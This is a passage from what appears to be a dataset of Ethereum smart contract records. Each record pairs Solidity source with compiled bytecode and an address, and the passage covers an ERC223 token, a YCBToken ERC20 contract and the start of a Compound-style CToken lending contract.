Transfer(msg.sender, _to, _value); return true; } function transfer(address _to, uint256 _value, bytes _data) public returns (bool success){ require( balances[msg.sender] >= _value && _value > 0 && isContract(_to) ); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ERC223ReceivingContract(_to).tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } function isContract(address _from) private constant returns (bool) { uint256 codeSize; assembly { codeSize := extcodesize(_from) } return codeSize > 0; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require( allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0 && allowed[_from][msg.sender] > 0 ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaing) { return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014257806318160ddd1461019c57806323b872dd146101c5578063313ce5671461023e5780633eaaf86b1461026d57806370a082311461029657806395d89b41146102e3578063a9059cbb14610371578063be45fd62146103cb578063dd62ed3e14610468575b600080fd5b34156100bf57600080fd5b6100c76104d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101075780820151818401526020810190506100ec565b50505050905090810190601f1680156101345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014d57600080fd5b610182600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061050d565b604051808215151515815260200191505060405180910390f35b34156101a757600080fd5b6101af6105ff565b6040518082815260200191505060405180910390f35b34156101d057600080fd5b610224600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610613565b604051808215151515815260200191505060405180910390f35b341561024957600080fd5b610251610a23565b604051808260ff1660ff16815260200191505060405180910390f35b341561027857600080fd5b610280610a28565b6040518082815260200191505060405180910390f35b34156102a157600080fd5b6102cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a38565b6040518082815260200191505060405180910390f35b34156102ee57600080fd5b6102f6610a80565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561037c57600080fd5b6103b1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ab9565b604051808215151515815260200191505060405180910390f35b34156103d657600080fd5b61044e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610cbb565b604051808215151515815260200191505060405180910390f35b341561047357600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611043565b6040518082815260200191505060405180910390f35b6040805190810160405280600c81526020017f4a4f4532323320546f6b656e000000000000000000000000000000000000000081525081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006b06c9144c1c690d4cb4000000905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156106df5750816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156106eb5750600082115b801561077357506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b151561077e57600080fd5b6107cf826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ca90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610862826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ca90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6b06c9144c1c690d4cb400000081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600681526020017f4a4f45323233000000000000000000000000000000000000000000000000000081525081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b095750600082115b8015610b1b5750610b1983611101565b155b1515610b2657600080fd5b610b77826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ca90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c0a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610d0b5750600083115b8015610d1c5750610d1b84611101565b5b1515610d2757600080fd5b610d78836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ca90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e0b836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f0f578082015181840152602081019050610ef4565b50505050905090810190601f168015610f3c5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515610f5c57600080fd5b6102c65a03f11515610f6d57600080fd5b505050816040518082805190602001908083835b602083101515610fa65780518252602082019150602081019050602083039250610f81565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a4600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156110d857fe5b818303905092915050565b60008082840190508381101515156110f757fe5b8091505092915050565b600080823b9050600081119150509190505600a165627a7a72305820f6bb9f8a7b1187bf0e08ca0843dfc51aa17c185e97ace41e402e4c57e0deddfb0029
[ 1 ]
0xf1cc804e937ec10188d686f0693a3348ffdba223
pragma solidity ^0.4.24; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface tokenRecipient {function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;} contract TokenERC20 { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); constructor ( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value && _value > 0); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function batchTransfer(address[] _to, uint _value) public returns (bool success) { require(_to.length > 0 && _to.length <= 20); for (uint i = 0; i < _to.length; i++) { _transfer(msg.sender, _to[i], _value); } return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } contract YCBToken is Ownable, TokenERC20 { constructor ( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} }
0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018b57806323b872dd146101b2578063313ce567146101dc57806370a082311461020757806383f12fec146102285780638da5cb5b1461027f57806395d89b41146102b0578063a9059cbb146102c5578063cae9ca51146102e9578063dd62ed3e14610352578063f2fde38b14610379575b600080fd5b3480156100d557600080fd5b506100de61039c565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015f57600080fd5b50610177600160a060020a0360043516602435610429565b604080519115158252519081900360200190f35b34801561019757600080fd5b506101a0610456565b60408051918252519081900360200190f35b3480156101be57600080fd5b50610177600160a060020a036004358116906024351660443561045c565b3480156101e857600080fd5b506101f16104f9565b6040805160ff9092168252519081900360200190f35b34801561021357600080fd5b506101a0600160a060020a0360043516610502565b34801561023457600080fd5b50604080516020600480358082013583810280860185019096528085526101779536959394602494938501929182918501908490808284375094975050933594506105149350505050565b34801561028b57600080fd5b5061029461056c565b60408051600160a060020a039092168252519081900360200190f35b3480156102bc57600080fd5b506100de61057b565b3480156102d157600080fd5b50610177600160a060020a03600435166024356105d3565b3480156102f557600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610177948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506105e99650505050505050565b34801561035e57600080fd5b506101a0600160a060020a0360043581169060243516610702565b34801561038557600080fd5b5061039a600160a060020a036004351661071f565b005b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b505050505081565b336000908152600660209081526040808320600160a060020a039590951683529390529190912055600190565b60045481565b600160a060020a038316600090815260066020908152604080832033845290915281205482111561048c57600080fd5b600160a060020a03841660009081526006602090815260408083203384529091529020546104c0908363ffffffff6107b316565b600160a060020a03851660009081526006602090815260408083203384529091529020556104ef8484846107c5565b5060019392505050565b60035460ff1681565b60056020526000908152604090205481565b6000806000845111801561052a57506014845111155b151561053557600080fd5b5060005b83518110156104ef5761056433858381518110151561055457fe5b90602001906020020151856107c5565b600101610539565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156104215780601f106103f657610100808354040283529160200191610421565b60006105e03384846107c5565b50600192915050565b6000836105f68185610429565b156106fa576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b8381101561068e578181015183820152602001610676565b50505050905090810190601f1680156106bb5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156106dd57600080fd5b505af11580156106f1573d6000803e3d6000fd5b50505050600191505b509392505050565b600660209081526000928352604080842090915290825290205481565b600054600160a060020a0316331461073657600080fd5b600160a060020a038116151561074b57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000828211156107bf57fe5b50900390565b6000600160a060020a03831615156107dc57600080fd5b600160a060020a03841660009081526005602052604090205482118015906108045750600082115b151561080f57600080fd5b600160a060020a0383166000908152600560205260409020548281011161083557600080fd5b50600160a060020a038083166000908152600560205260408082205492861682529020549081019061086d908363ffffffff6107b316565b600160a060020a0380861660009081526005602052604080822093909355908516815220546108a2908363ffffffff61092b16565b600160a060020a0380851660008181526005602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3600160a060020a0380841660009081526005602052604080822054928716825290205401811461092557fe5b50505050565b8181018281101561093857fe5b929150505600a165627a7a72305820ae7e272536b6dc3d406cda3a9d5e78d55d5bae98c8d281dedce050fcf03e9e500029
[ 38 ]
0xF1cd0056fB74DE307f4302a9DAdaA486D8f494f4
pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./CTokenInterfaces.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./EIP20Interface.sol"; import "./EIP20NonStandardInterface.sol"; import "./InterestRateModel.sol"; /** * @title Compound's CToken Contract * @notice Abstract base for CTokens * @author Compound */ contract CToken is CTokenInterface, Exponential, TokenErrorReporter { /** * @notice Initialize the money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ EIP-20 name of this token * @param symbol_ EIP-20 symbol of this token * @param decimals_ EIP-20 decimal precision of this token */ function initialize(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { require(msg.sender == admin, "only admin may initialize the market"); require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once"); // Set initial exchange rate initialExchangeRateMantissa = initialExchangeRateMantissa_; require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero."); // Set the comptroller uint err = _setComptroller(comptroller_); require(err == uint(Error.NO_ERROR), "setting comptroller failed"); // Initialize block number and borrow index (block number mocks depend on comptroller being set) accrualBlockNumber = getBlockNumber(); borrowIndex = mantissaOne; // Set the interest rate model (depends on block number / borrow index) err = _setInterestRateModelFresh(interestRateModel_); require(err == uint(Error.NO_ERROR), "setting interest rate model failed"); name = name_; symbol = symbol_; decimals = decimals_; // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund) _notEntered = true; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); return true; } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { return accountTokens[owner]; } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()}); return mul_ScalarTruncate(exchangeRate, accountTokens[owner]); } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { uint cTokenBalance = getCTokenBalanceInternal(account); uint borrowBalance = borrowBalanceStoredInternal(account); uint exchangeRateMantissa = exchangeRateStoredInternal(); return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @dev Function to simply retrieve block number * This exists mainly for inheriting test contracts to stub this result. */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa); } /** * @notice Returns the estimated per-block borrow interest rate for this cToken after some change * @return The borrow interest rate per block, scaled by 1e18 */ function estimateBorrowRatePerBlockAfterChange(uint256 change, bool repay) external view returns (uint) { uint256 cashPriorNew; uint256 totalBorrowsNew; if (repay) { cashPriorNew = add_(getCashPrior(), change); totalBorrowsNew = sub_(totalBorrows, change); } else { cashPriorNew = sub_(getCashPrior(), change); totalBorrowsNew = add_(totalBorrows, change); } return interestRateModel.getBorrowRate(cashPriorNew, totalBorrowsNew, totalReserves); } /** * @notice Returns the estimated per-block supply interest rate for this cToken after some change * @return The supply interest rate per block, scaled by 1e18 */ function estimateSupplyRatePerBlockAfterChange(uint256 change, bool repay) external view returns (uint) { uint256 cashPriorNew; uint256 totalBorrowsNew; if (repay) { cashPriorNew = add_(getCashPrior(), change); totalBorrowsNew = sub_(totalBorrows, change); } else { cashPriorNew = sub_(getCashPrior(), change); totalBorrowsNew = add_(totalBorrows, change); } return interestRateModel.getSupplyRate(cashPriorNew, totalBorrowsNew, totalReserves, reserveFactorMantissa); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return totalBorrows; } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return borrowBalanceStored(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { return borrowBalanceStoredInternal(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return the calculated balance or 0 if error code is non-zero */ function borrowBalanceStoredInternal(address account) internal view returns (uint) { /* Get borrowBalance and borrowIndex */ BorrowSnapshot storage borrowSnapshot = accountBorrows[account]; /* If borrowBalance = 0 then borrowIndex is likely also 0. * Rather than failing the calculation with a division by 0, we immediately return 0 in this case. */ if (borrowSnapshot.principal == 0) { return 0; } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ uint principalTimesIndex = mul_(borrowSnapshot.principal, borrowIndex); uint result = div_(principalTimesIndex, borrowSnapshot.interestIndex); return result; } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return exchangeRateStored(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { return exchangeRateStoredInternal(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return calculated exchange rate scaled by 1e18 */ function exchangeRateStoredInternal() internal view returns (uint) { uint _totalSupply = totalSupply; if (_totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return initialExchangeRateMantissa; } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves = sub_(add_(totalCash, totalBorrows), totalReserves); uint exchangeRate = div_(cashPlusBorrowsMinusReserves, Exp({mantissa: _totalSupply})); return exchangeRate; } } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { return getCashPrior(); } /** * @notice Applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { /* Remember the initial block number */ uint currentBlockNumber = getBlockNumber(); uint accrualBlockNumberPrior = accrualBlockNumber; /* Short-circuit accumulating 0 interest */ if (accrualBlockNumberPrior == currentBlockNumber) { return uint(Error.NO_ERROR); } /* Read the previous values out of storage */ uint cashPrior = getCashPrior(); uint borrowsPrior = totalBorrows; uint reservesPrior = totalReserves; uint borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the number of blocks elapsed since the last accrual */ uint blockDelta = sub_(currentBlockNumber, accrualBlockNumberPrior); /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ Exp memory simpleInterestFactor = mul_(Exp({mantissa: borrowRateMantissa}), blockDelta); uint interestAccumulated = mul_ScalarTruncate(simpleInterestFactor, borrowsPrior); uint totalBorrowsNew = add_(interestAccumulated, borrowsPrior); uint totalReservesNew = mul_ScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior); uint borrowIndexNew = mul_ScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = currentBlockNumber; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); return uint(Error.NO_ERROR); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintInternal(uint mintAmount, bool isNative) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0); } // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount, isNative); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemInternal(uint redeemTokens, bool isNative) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, redeemTokens, 0, isNative); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to receive from redeeming cTokens * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlyingInternal(uint redeemAmount, bool isNative) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, 0, redeemAmount, isNative); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowInternal(uint borrowAmount, bool isNative) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED); } // borrowFresh emits borrow-specific logs on errors, so we don't need to return borrowFresh(msg.sender, borrowAmount, isNative); } struct BorrowLocalVars { MathError mathErr; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; } /** * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @param isNative The amount is in native or not * @return uint 